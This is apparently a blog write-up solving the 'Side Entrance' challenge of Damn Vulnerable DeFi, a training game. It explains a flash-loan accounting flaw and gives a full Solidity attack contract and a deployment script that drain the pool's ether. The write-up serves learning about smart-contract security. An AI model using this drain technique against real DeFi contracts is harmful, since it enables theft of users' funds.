Damn Vulnerable DeFi - Side Entrance
June 20, 2023•445 words
The contract
The goal is to drain a pool that offers flash loans. The issue lies in the usage of an interface without any restriction on the msg.sender, that can implement that interface and perform any action.
The solution
The interesting part of the challenge contract is this function:
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
The interface is made of a single function, like this:
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
The vulnerability is that there is no check on the msg.sender. This means that we can create a contract that implements a function with that signature and have it perform any action.
The attack vector for this challenge will be the following one:
- create a contract that implements an "execute" function with the same signature;
- use the contract to ask for a loan;
- when asking for a loan, the pool will trigger the execution of the execute function;
- this function uses the money taken from the loan to perform a deposit in the pool. The deposit will deposit the exact same amount obtained from the flash loan;
- this deposit is necessary, because this way we can bypass the final check of the "flashLoan" function. The trick here is that the balance is indeed equal to the "balanceBefore", but thanks to the code in the deposit function, the smart contract now "owes" the total pool amount to the attacking contract
- we now exploit the fact that the attacking contract balance is the total pool value. We can simply withdraw our balance to drain the pool
- Finally, to complete the challenge, move the total pool amount to the player's contract
Here is the contract with all the functions we need to perform the attack vector:
pragma solidity ^0.8.0;
import "./SideEntranceLenderPool.sol";
contract sideEntranceSolve {
SideEntranceLenderPool lending_pool;
address challenge_player;
receive() external payable{} //need this, when withdrawing we need an endpoint to receive the ETH
constructor(address player, SideEntranceLenderPool pool) {
challenge_player = player;
lending_pool = pool;
}
function execute() external payable { //this is the function that implements the signature of the interface function
lending_pool.deposit{value: msg.value}();
}
function loan(uint amount) public {
lending_pool.flashLoan(amount);
}
function withdraw() public {
lending_pool.withdraw();
challenge_player.call{value: address(this).balance}("");
}
}
The code to complete the challenge just deploys the contract, then starts the procedure to ask for the loan (steps 2-5) and perform the deposit (steps 6-7). Here is the code to complete the task:
sideEntranceContractFactory = await ethers.getContractFactory("sideEntranceSolve", deployer);
sideEntranceContract = await sideEntranceContractFactory.deploy(player.address, pool.address);
await sideEntranceContract.connect(player);
await sideEntranceContract.loan(await ethers.provider.getBalance(pool.address));
await sideEntranceContract.withdraw();
Merry hacking ;)